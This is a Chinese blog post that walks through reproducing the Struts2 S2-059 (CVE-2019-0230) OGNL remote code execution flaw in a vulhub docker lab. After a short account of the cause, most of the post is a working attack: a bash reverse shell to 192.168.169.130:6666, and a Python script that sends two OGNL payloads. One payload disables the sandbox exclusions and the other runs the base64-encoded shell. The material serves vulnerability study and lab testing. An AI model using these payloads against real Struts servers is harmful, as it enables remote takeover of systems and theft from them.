您好,登錄后才能下訂單哦!
這篇文章給大家介紹怎么實現struts2 s2-059遠程代碼執行漏洞CVE-2019-0230的分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
2020年,struts2爆出了s2-059預警,最近又出現了s2-061,S2-061和S2-059的OGNL表達執行觸發方式一樣。S2-059的修復方式為只修復了沙盒繞過并沒有修復OGNL表達式執行點,因為這個表達式執行觸發條件過于苛刻,而S2-061再次繞過了S2-059的沙盒。在這里我用s2-059進行測試。
Struts2 是 Apache 軟件組織推出的一個相當強大的 Java Web 開源框架,本質上相當于一個 servlet。Struts2 基于 MVC 架構,框架結構清晰。通常作為控制器(Controller)來建立模型與視圖的數據交互,用于創建企業級 Java web 應用程序,它利用并延伸了Java Servlet API,鼓勵開發者采用MVC架構。Struts2以WebWork優秀的設計思想為核心,吸收了Struts框架的部分優點,提供了一個更加整潔的MVC設計模式實現的Web應用程序框架。
2020年08月13日,Apache官方發布了Struts2遠程代碼執行漏洞的風險通告,該漏洞編號為CVE-2019-0230,漏洞等級:高危,漏洞評分:8.5
漏洞產生的主要原因是因為Apache Struts框架在強制執行時,會對分配給某些標簽屬性(如id)的屬性值執行二次ognl解析。攻擊者可以通過構造惡意的OGNL表達式,并將其設置到可被外部輸入進行修改,且會執行OGNL表達式的Struts2標簽的屬性值,引發OGNL表達式解析,最終造成遠程代碼執行的影響。
Apache Struts2:2.0.0-2.5.20
https://github.com/vulhub/vulhub
將vulhub-master.zip解壓后復制到kali里。
cd vulhub-master/
cd struts/
cd s2-059
docker-compose build
docker-compose up -d
bash -i >& /dev/tcp/192.168.169.130/6666 0>&1
base64編碼網址:
http://www.jackson-t.ca/runtime-exec-payloads.html
import requests url = "http://127.0.0.1:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2OS4xMzAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'))}" } res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)
關于怎么實現struts2 s2-059遠程代碼執行漏洞CVE-2019-0230的分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。